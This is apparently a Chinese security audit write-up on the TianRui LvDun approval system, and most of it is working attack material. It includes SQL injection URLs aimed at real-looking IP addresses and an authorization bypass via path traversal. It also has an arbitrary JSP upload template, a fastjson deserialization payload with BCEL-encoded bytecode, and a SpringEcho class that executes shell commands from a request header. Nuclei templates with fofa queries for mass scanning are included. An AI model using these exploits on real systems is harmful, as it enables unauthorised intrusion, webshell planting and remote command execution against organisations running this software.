权限

由于过滤器中的isNoNeedValidate函数存在问题，所以可导致所有后台接口未授权访问。

sql注入

系统是mvc加工，用的mybatis，mapper文件在./WEB-INF/classes/db/mapping/中，先看${}的情况，一共17个，

findTenantPage.do注入

在经过一番审计后，发现一处可利用的sql注入

WEB-INF/classes/com/trwfe/controller/InvokerController.java

@RequestMapping({"/findTenantPage.do"})
@ResponseBody
public GridPage<Tenant> findTenantPage(PageVo pageVo) {
   try {
      long count = this.invokerService.findAllTenantCount();
      List<Tenant> list = this.invokerService.findAllTenantPage(pageVo);
      return new GridPage(count, list);
   } catch (Exception e) {
      log.error("查询调用产品列表", e);
      return null;
   }
}

WEB-INF/classes/com/trwfe/service/InvokerService.java

public List<Tenant> findAllTenantPage(PageVo pageVo) throws Exception {
   return this.invokerMapper.findAllTenantPage(pageVo);
}

WEB-INF/classes/com/trwfe/bean/vo/PageVo.java

public class PageVo implements Serializable {
   private static final long serialVersionUID = 1L;
   private int page = 1;
   private int rows = 10;
   private String sort;
   private String order;
   private String pageSql = "";
…………
}

WEB-INF/classes/db/mapping/Invoker.xml

<!-- 所有的调用产品方page -->
<select id="findAllTenantPage" parameterType="com.trwfe.bean.vo.PageVo" resultType="com.trwfe.bean.Tenant">
    select * from ext_tenant_info ${pageSql}
</select>

最后的payload为：

GET /trwfe/login.jsp/../invoker/findTenantPage.do?page=1&rows=5&sort=id,(SELECT/**/*/**/FROM/**/(SELECT/**/SLEEP(2.6))a)&order=asc HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Connection: keep-alive
Accept-Encoding: gzip, deflate, br

nuclei模板

id: TianRui-LvDun-findTenantPage-SQLi
info:
  name: 天锐绿盾审批系统-findTenantPage.do-存在SQL注入漏洞
  author: This_is_Y
  severity: high
  description: 天锐绿盾审批系统-findTenantPage.do的findAllTenantPage函数未处理pageVo参数,直接拼接到 select * from ext_tenant_info ${pageSql}中
  tags: sqli,time-based,negative-match
  metadata:
    fofa-query: app="TIPPAY-绿盾审批系统"
requests:
  - raw:
      # 正常请求（用于对比）
      - |
        GET /trwfe/login.jsp/../invoker/findTenantPage.do HTTP/1.1
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
        Host: {{Hostname}}
        
      # 注入请求
      - |
        GET /trwfe/login.jsp/../invoker/findTenantPage.do?page=1&rows=5&sort=id,(SELECT/**/*/**/FROM/**/(SELECT/**/SLEEP(2.6))a)&order=asc HTTP/1.1
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          # 第二个请求的时间应该比第一个请求的时间长至少4秒
          - "duration_2 - duration_1 >= 2.6"
          - "status_code_2 == status_code_1"
        condition: and

    extractors:
      - type: dsl
        dsl:
          - "duration_2 - duration_1"

跑了一下，有101个还存在问题（本来以为是0day，结果发现已经有人交过了

findAllCategory.do注入

除此之外还有

findDeptPage.do：http://61.155.117.195:8280/trwfe/login.jsp/../dept/findDeptPage.do?page=1&rows=5&sort=1,(SELECT/**/*/**/FROM/**/(SELECT/**/SLEEP(2.6))a)&order=asc

findFileServerPage.do:http://61.155.117.195:8280/trwfe/login.jsp/../fileServer/findFileServerPage.do?page=1&rows=5&sort=1,(SELECT/**/*/**/FROM/**/(SELECT/**/SLEEP(2.6))a)&order=asc

findRolePage.do: http://61.155.117.195:8280/trwfe/login.jsp/../role/findRolePage.do?page=1&rows=5&sort=1,(SELECT/**/*/**/FROM/**/(SELECT/**/SLEEP(2.6))a)&order=asc

findPropertyPage.do:http://222.92.30.62:8280/trwfe/login.jsp/../invoker/findPropertyPage.do?tenantId=1&categoryId=1&page=1&rows=5&sort=id,(SELECT/**/*/**/FROM/**/(SELECT/**/SLEEP(2.6))a)&order=asc

findModulePage.do:http://222.92.30.62:8280/trwfe/login.jsp/../menu/findModulePage.do?page=1&rows=5&sort=id,(SELECT/**/*/**/FROM/**/(SELECT/**/SLEEP(2.6))a)&order=asc

findSingConfigPage.do.do:http://183.250.5.43:8280/trwfe/login.jsp/../thirdSystemConfig/findSingConfigPage.do?page=1&rows=5&sort=1,(SELECT/**/*/**/FROM/**/(SELECT/**/SLEEP(2.6))a)&order=asc

findUserPage.do:http://183.250.5.43:8280/trwfe/login.jsp/../user/findUserPage.do?deptId=&userName=&userStatus=&sort=id,(SELECT/**/*/**/FROM/**/(SELECT/**/SLEEP(2.6))a)&order=asc

findUserPageExcludeCurrentUser.do(需要登录):http://183.250.5.43:8280/trwfe/user/findUserPageExcludeCurrentUser.do?page=1&rows=5&sort=1,(SELECT/**/*/**/FROM/**/(SELECT/**/SLEEP(2.6))a)&order=asc&deptId=1

token

系统的token为16进制格式

这里我手上两份代码关于token的代码不一样，所以我也不知道哪个是原代码（或者都不是），

第一份的token直接就是把用户id和密码拼接一下然后base64编码一下就返回给客户端了。肯定是不行的，

第二份的token正规一点，使用的jwt。进入getWebThirdTokenFromServer函数

WEB-INF/classes/com/trwfe/controller/UserController.java

WEB-INF/classes/com/trwfe/util/JWTUtils.java

在getToken中可以看到，签名用的SECRET也不是弱密钥，而且在获取到jwt token后，还用RC4加密了一层，RCE4的密钥也不算弱密钥。

上传

除了之前的那个uploadwxfile接口外，还有一个addUpFile.do接口

可以看到需要三个参数，而且relativepath不能为空，不然文件名就会变成randomUUID

sb是最终的文件保存路径，可以看到前面先添加了disc和taskid，其中disc是代表临时目录，在tomcat中也就是/tomcat/temp/

随后是对relativepath参数进行拆解再拼接，由于for循环的终止条件是i < split.length - 1，所以它会抛弃relativepath的最后一个/后面的东西，举个例子就是如果我想要上传到ROOT目录下，relativepath的值为就要以/ROOT/tmp结尾，当然最终拼接的路径还和taskid有关，

最终的file路径为：E:/TRWfe/tomcat/temp/+taskid+relativepath(去掉尾部)+filename

E:/TRWfe/tomcat/temp/../../test03.jsp => E:/TRWfe/test03.jsp

E:/TRWfe/tomcat/temp/1/../../test03.jsp => E:/TRWfe/tomcat/test03.jsp

需要注意的是，不穿taskid参数，taskid就是null，这和传空值taskid是不一样的

所以要上传到ROOT目录下，就要如下构造

Yaml如下

id: TianRui-LvDun-addUpFile-upload
info:
  name: 天锐绿盾审批系统-addUpFile.do-存在任意文件上传
  author: This_is_Y
  severity: critical
  description: 天锐绿盾审批系统-addUpFile.do的 addFile 函数未处理文件名以及文件路径参数,可以通过目录穿越上传任意文件到任意路径中
  tags: upload
  metadata:
    fofa-query: app="TIPPAY-绿盾审批系统"


http:
  - raw:
    - |
      POST /trwfe/login.jsp/../file/addUpFile.do HTTP/1.1
      User-Agent: Mozilla/5.0 (MSIE 10.0; Windows NT 3.14; Trident/5.0)
      Connection: keep-alive
      Content-Length: 316
      Cookie: lang=zh
      X-requested-with: XMLHtTpRequest
      Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynvgfpfpm
      Accept-Encoding: gzip, deflate, br

      ------WebKitFormBoundarynvgfpfpm
      Content-Disposition: form-data; name="file"; filename="7ygv8uhb.jsp"
      Content-Type: application/octet-stream

      <%out.print("0okm");%>
      ------WebKitFormBoundarynvgfpfpm
      Content-Disposition: form-data; name="relativepath"

      ../../webapps/ROOT/del
      ------WebKitFormBoundarynvgfpfpm
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
            - 'true'

    matchers-condition: and
  - method: GET
    path:
      - '{{BaseURL}}/7ygv8uhb.jsp'
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - '0okm'

    matchers-condition: and

反序列化

在pom文件中可以看到使用了fastjson，版本是古老的1.2.7

所以直接找一下哪些地方用到了fastjson反序列化的操作

用`(?:JSON|Fastjson).(?:parse|parseObject|parseArray)\s*(``找了一下

有很多处，保存下来，排除掉固定class的，最后只剩下两个文件，

第一个是个信的推送接口相关的功能，但是代码中没有找到调用的地方，直接忽略

第二个是则可以利用，从代码中可以看到请求request是一个list，通过遍历list成员，判断type，之后对成员进行反序列化，所以只需要找到哪些类型会执行JSON.parseObject即可

简单查找后发现

trusteeMsg、auditor、intervalTime、auditorAndCategory、auditorVerifyCodeFlow、approvalConfig

而其中只有trusteeMsg、intervalTime是没有指定class的，也就是说只有这两个地方有漏洞

bcel

trusteeMsg和intervalTime的payload是比较好构造，由于我没有服务器，不方便构造jndi那种远程请求的利用方式，所以我用的bcel加载字节码的方式

先将需要执行的类进行编译，javac tmp.class

// tmp.java
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;

public class tmp  {
    static{
        File targetFile = new File("webapps/ROOT/AA00123.jsp");
        // 写入内容
        try (FileWriter writer = new FileWriter(targetFile)) {
            writer.write("helloworld");
            System.out.println("Successfully created file: " + targetFile.getAbsolutePath());
        } catch (IOException e) {
        }
    }
}

随后使用下面的代码生成字节码以及payload

// BcelTest.java
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import java.io.IOException;

public class BcelTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        JavaClass cls = Repository.lookupClass(tmp.class);
        String code = Utility.encode(cls.getBytes(),true);
        System.out.println("$$BCEL$$"+code);
        // 加载类并实例化
        new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
        System.out.println(s);
      //JSON.parseObject(s);   //本地测试
    }
}

SpringEcho

不过这样好像还是不太方便，所以想试着使用直接spring echo的方式直接回显，代码来自https://blog.csdn.net/2201_75353421/article/details/132077531

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
    //静态代码块在类加载的时候就会去执行
    static {
        try {
            //首先获取当前的HttpServletRequest和HttpServletResponse对象。
            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
            Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
            Object req = m1.invoke(o); // HttpServletRequest
            //通过反射获取HttpServletRequest的"getHeader"方法，用于获取HTTP请求头"cmd"的值，通过变量"cmd"执行系统命令。
            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
            getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);
            String cmd = (String) getHeader.invoke(req, "cmd");
            String[] commands = new String[3];
            //这里对操作系统做了判断，windows和linux的采用cmd和/bin/bash来命令执行
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
            commands[2] = cmd;
            //使用反射获取"writer"对象的方法，然后执行命令并输出结果
            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
        } catch (Exception e) {

        }

    }
}

直接写入文件的yaml

id: TianRui-LvDun-mergeQuery-deserialization
info:
  name: 天锐绿盾审批系统-/rest/ext/mergeQuery-存在fastjson反序列化漏洞
  author: This_is_Y
  severity: critical
  description: 天锐绿盾审批系统-mergeQuery接口存在fastjson反序列化漏洞，攻击者可利用该漏洞执行任意代码，获取服务器权限。requestType可以是trusteeMsg和intervalTime,该payload为写入hello文件
  tags: upload
  metadata:
    fofa-query: app="TIPPAY-绿盾审批系统"
http:
  - raw:
      - |-
        POST /trwfe/user/logon.do/../../rest/ext/mergeQuery HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (MSIE 10.0; Windows NT 3.14; Trident/5.0)
        Content-Type: application/json
        Connection: keep-alive
        Content-Length: 2163

        [{"requestType":"trusteeMsg","requestBody":{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$dfS$TW$U$fe$$$c9$e6$86u$f9a$Q$F$ad$zm$fd$R$TB$Qm$ad$80$da$a0$a6$fe$I$846$M$j$a6$d3$87$cd$e6$K$8bKvg$b3$v$fa$e2L$ed$l$c3$b3$7d$I32S$df$7c$f0O$f2A$fa$ddM$Q$u$dd$99$3dg$cf9$df9$f7$3b$e7$dc$fd$f0$e9$ed$3f$An$e2g$Tg$91$93$c8$a71i$a2$P$F$89$v$T$G$8aiLk$7d$bd$l3$b8$nq$d3$84$89$5c$g$dfi$fd$bdF$de$d2_$3f$98$b8$8dY$N$9c$93$987$91$c1$j$89$bb$S$f7$q$7e$UH$cd$bbM7$ba$x$90$c8$5e$5b$VH$de$f7$hJ$60$a8$e26$d5R$7b$ab$ae$c2$V$bb$ee$d1$93$a9$f8$8e$ed$ad$da$a1$ab$ed$9e3$Zm$b8$z$B$a3$Sm$Fs$C$e9y$c7$ebUKm$87n$a4B$813$95M$fb$P$bb$e8$fa$c5$b2$eb$a9_c$_$a1fd$87$eb$w$d2$3e$81$c1c$YF$Hj$91$ed$3c_$b4$83$f8$iv$ce$8e$c9$9d$b4$99Y$f3$db$a1$a3$ba$99i$k$3c$a5$93$z$9c$c3$98$80u$b4$90$c0$d8$b6$aa$dbA$d0$w$feR$ad$ae$UK$a5$e9$e9$eb37$a66$5b$81$86$97$d8$d4In$3a$b2$c0S6$94$e7$f9$db$7e$e85$y$dcGI$e2$81$85$87$u$L$9c$8bs$3c$bb$b9$5e$acE$a1$db$5c_h$bb$5eC$b7z$a1$d6v$i$d5j$3dk$7b$de$cb$J$tTv$a4$g$T$cfXzv$c2$c2Oxd$e11$9eXx$8a$t$S$V$L$8b$uYX$d2$b4G$Ok$ael$84$fe$b6$ee$daB$V$cb$H$nR$7c$5c$7d$f8$c2QA$e4$faM$$$8b$7d$L$M$l$a6U$eb$9b$ca$89$EF$b3$95$ff$f2$9b$d3$7b$3d$9d$3d$3ec$ed3$e2$j$j$xS$7b$d9$8a$d4$W$eb$fbm$5d$ecs$ce2$LE$y$a7$ec$z$ae$t$c5$99$aafC$a0$f0$7f$a7$9dp$f5$G$c4$c4$n$ae$bcTo$f9$5e$3bR$cbv$b4$c1$eb$91$3d$89$d77$v$f2$bb$dfG$Gp$84$83$80$M$b4$e5q$U$86$e3$f9$zv1$607$g$b5v$Q$84$dc$80$o$b7$b1$a3$dc$3eO$95$8d$e3k$8c$f2$87$d2O$l$84$be7$94$e3$b4$8a$d4$82$da$c8$edB$bc$89$c3$e7$vS$5d$t$$PZ$bd$ef$_p$91$3a$8d$_$P$92$c5$g$SD$C$7f$ed$a1o$z$93$d8E$f2$e9$k$8c5$96JU$c4b$3e$p$3bH$ff$8d$fe$3d$98k$bb8$95$b1$3a$Y$c8u0H$d5$c1P$H$c3$f9$f7$uO$be$c7H$be$83$d3$3b$98$5b$9a$yt0$b2$83$99$ae$9d_$w$y$W$de$cd$s$89$baH$d4h$d7$9b$995$s$c7$8d$Y$t$b5g$3c$f9n$H$c9$ca$h$S$b9$c7K$5b$e6$af$3e$8a$5bX$ed$e9$dfHO$c1$85G$7b$V$bf$c7$b6$89W$f8$TgH$5e$b7$9a$a3$NH$ca$7ef$98l$f9$U$f3$y$a2$fb$89$b6$88$j$m$da$c2k$M$c6$e38$cb$R$8d$e09$be$c2$E$c7$60$e2$Fg$fb$N$fd$df$f2$7d$Es$9f$U$S$S$97$q$$K$5c$81$a0H$97$v$k$f0$dd$c70$8c$c3$d8A$dcL$ec$eb$ad0$A$yH$5c$fd$c8J$C$d9x$Z$d7$fe$F$c3$p$T$f3$S$F$A$A","driverClassloader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}}}]
    matchers:
      - type: status
        status:
          - 400
      
      - type: regex
        part: body
        regex:
          - 'Bad request'
    
    matchers-condition: and
  - method: GET
    path:
      - '{{BaseURL}}/AA00123.jsp'
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - 'helloworld'

    matchers-condition: and

执行命令的yaml

id: TianRui-LvDun-mergeQuery-deserialization
info:
  name: 天锐绿盾审批系统-/rest/ext/mergeQuery-存在fastjson反序列化漏洞
  author: This_is_Y
  severity: critical
  description: 天锐绿盾审批系统-mergeQuery接口存在fastjson反序列化漏洞，攻击者可利用该漏洞执行任意代码，获取服务器权限。requestType可以是trusteeMsg和intervalTime,该payload为执行命令
  tags: upload
  metadata:
    fofa-query: app="TIPPAY-绿盾审批系统"
http:
  - raw:
      - |-
        POST /trwfe/user/logon.do/../../rest/ext/mergeQuery HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (MSIE 10.0; Windows NT 3.14; Trident/5.0)
        Content-Type: application/json
        Connection: keep-alive
        cmd: echo hello9527
        Content-Length: 2163

        [{"requestType":"trusteeMsg","requestBody":{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5d$f2$98a$YD$D$I$f1Q$a5$be$CJR$fb$b0$Kh$c1$a8$c5$g$d0$g$95$oj$3b$M$X22$99$893$T$c0$be$df$P$fb$7eY$ad$7d$7e$5d$b8v$T$f9$daO$bf$ae$bbh7$ddv$d5U$bb$e9$7fP$7bnf$o$89$60$db$y$ce$3d$f7$dc$dfy$9f$7b3$3f$fd$fd$fdM$A$P$e2$h$F$f5$YR0$8c$c3$82$i$91$f1$b8$82$a3$c8$ca8$s$e1$b8$C$J$t$q$8c$ux$C$a32N$ca$Y$93qJ$c6i$Z$bb$c5$d9$Z$ZO$ca$d8$p$e1$v$81$d0d$f4$cb$YW$a0cBA3$b8$8cI$b1N$c9$c8$c90d$9c$V$ce$a6e$98$S$f2$K$y$d8$82$U$U$9c$83$a3$60$3d$5c$Z$9eX$8b$82$cc$c8$98$951$t$e1$bc$84$a7$Z$a2$7d$86ex$7b$YB$89$ce$T$M$e1$b4$3d$c1$Z$9a2$86$c5$87$8b$f9q$ee$i$d3$c6M$92$c42$b6$ae$99$t4$c7$Q$fb$40$Y$f6r$86$cb$a0f$b2$F$c7$b0$a6$f6$eb9$bb$97A$ee$d3$cd$c0$u$d3$ZVd$cej3Z$ca$d4$ac$a9T$da$d4$5c$97$m$y$cf$b0$aaJ$ee$f0I$93$eb$5ej$88$7b9$7bB$Al$e1r$Bpx$fc$y$9d$d3A$5d$7e$3b$f9u$b8$5b$a0$90$j$7e$8e$a1$7e$8a$7b$p$8e$e1q$c7$e7$H$b96$n$f8$e8l$m$M$e9$f9$89ZkYO$84$xB$d5$ed$7c$5e$b3$s$u$89$e6$b1$a5$A$8dYO$d3$a7$87$b4B9c$ea$9c$84g$a8o$d4$Y$Ji$aa$n$83$92$b5$8b$8e$ce$P$Y$a2$mM$L$85H$Kk$w$b6$a1$5b$c2$b3$w$9e$c3$f3$w$5e$c0$8b$M$7d$b63$95t$cb$b8IG$cb$f3Y$db$99N$ce$f2$f1$a4n$5b$k$9f$f3$92$94U$91$bb$5e$f2$a8$bf$a6$7d$f1$a0mRZ$S$5eR$f12$5eah$a1T$D$c4$80G$e1$8e$X$3dNi4$ddQl$V$af$e25$86$e5w$96$92$f2P$f1$3a$de$60$e8$ff$bf$f1d$b93c$$$e9$b4$a1$i$8b$5b$b0$z$97$8a$a0$yD$c6$b0V8$9eK$ba$be$ee$82$N$l$ac$e2M$R$dd$a6ZP$ce$f3$K$c9A$o$b5$kk$b2$f0$3b$a4$e2$z$5c$60$90l7iQ$e8$S$deV$f1$O$deU$f1$k$de$a7$c6$8f$i$iV$f1$B$3e$a4$b1I$d1$qJ$a9q$c3J$b99$dav$eb$w$3e$c2$c7$q$T$89$7b$a6EsZ6$5e$f4$M3$95$d55$cb$S$c5$feD$c5$a7$b8$a8$e23$5c$92pY$c5$e7$b8$oZ$fa$FY85$a0$e2K$7c$a5$e2k$e1$w2i$W$85$e1$88n$da$a2$G$cd$L$91$ee$9f$d3y$c13lK$cc$ca$ed$f1$60h$bf$db$f8$d7$e4y$y$e7$d0$3c$d3$m$eaE$c7$e1$96W$d9$b7$q$3a3w$a2h$5e$5b$a9$f6$c1$c0$94$db$9f$b1$fd$cb$Q$af$81W$j$J$9d$r$P$e82$99$c4$94$r$d4$a1$c4$e2$db$b1$c8b$af$7f$B$xY$f4$_$a13$b6H$a7$f3$df$9e$81$a8a$cd$d8$d3T$cf$5d$89$c5$8f$c1$d8bQ$e7RO$c6$K$8ai$l$d7M$cd$e1$T$95$d8$g$5d$ee$N$e8$3aw$5d$c3$7f$c9$S$t$c5$f3W$3d$60$e7$5d$8f$e7$fd$d9$3e$e2$d8$F$eext$db7$ffG$jn$3f$i$N$9e$7d$bc$40JiM$8cCm$b7$aa$9f$l$cb$d3$M$8b$K$bc$ba$dap$3a$a79Y1$f4$96$ce$7b$3bO$SP$b4$d5$efD$f3$e2N$f6V$86$b7$y$3aZ$b4$3c$p_$b9$87$95Mk$8dZ$m$s$c50$9f$e3t5$S$89$r$9e$bfj$N$w$81$a8V$ad$ab$40$c8$b0$8c$5c$j$b4$KE$8f4$b9FUk$ab$b83$ecT$d5$B$a9$b7$t$96$3c$Q$d5W$8b$$$df$c7M$p$ef$bf$db$5b$ee$5e$eb$ea$5b$w$92$b0h$de$d1$81$ad$f47$u$7eu$60$e2$e1$r$9a$a4$5d$8aVFk$a4$eb$3a$d8$b5$f2q$8ah$b4$y$M$e3$3e$a2$aa$P$c0v$dcO$ab$8c$H$w$cau$97$c8d$D$c0$ce$cc$a3$ae$84P$y$5cB$e4PW$y$g$ba$B$a9$E9$b3$95$RW_$822$U$A$g$7c$80Z$Bt$c5$g$Dvx$eb$b6$A$db$T$ee$be$cdF$C$bde$a4$Xk$f2$a1$cb$7b$a2$81t$85$90$c6$c2$q$j$N$c5$9a$b3$e2H$8aK$UDK$3c$ea$d3x$b8bI$8eK$f1$IA$eb$J$daJP$e5G4$f7$d4Go$QUb$x$e7$d1VB$7b$y$5e$c2$aa$cb$88$c5$V$81$89$x$e1$d8$ea$ecU4$89$ed$9a$f2v$z$d1H$bc$3e$h$97K$b8$t$b6$ae$das$5c$f6$8d$ff$80$f5$a3$f3$e8$88$x$r$dc$5b$c2$86$eb$d8$Y$dbT$c2$e6$S$b6$I$a7$p$bef$o$c8$q$$$H$e1$F$f2$ceE$f2$ab$I$l$ba$s$ea$cfF$d9$vt$nT$ee$8e$85$d5D$eb$a93$K$da$a8$D$j$c4u$a3$R$3b$b1$Mi4$d1$t$d5r$8c$o$G$9b$be$83$$$a0$85$5e$f9V$5c$c4J$7cG$e8y$b4$e3$sV$e1g$b2$f1$x$d6$e07$dc$83$df$b1$O$7f$90$95$bf$b0$81ub$p$h$c0$s6$8a$Ey$dc$ccN$93W1$F$F$f2$a3$b2$n$faz$7b$88vml$_v$e0a$8a$ac$83$ed$q$bf$bbhn$d2l$rzH$W$c20k$40$_$c9$c2$Y$a5$d0$fb$88$8bP$y$7fb7$9dF$v$a2_$b0$878$89$e2$v$e1$R$3a$95$v$aao$d1$8f$B$ca$e9$s$ae$60$_e$a1$60$l$f9$d9$81$f0$z$K$b1A$c2$7e$J$H$q$3cZ$a1$3e$e3$f3$83$S$O$C$N$b7$e0$90$G$93$f0$YQ$i$w$cfr$e6$l$bf$e3$be$Kt$K$A$A","driverClassloader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}}}]
    matchers:
      - type: status
        status:
          - 200
      
      - type: regex
        part: body
        regex:
          - 'hello9527'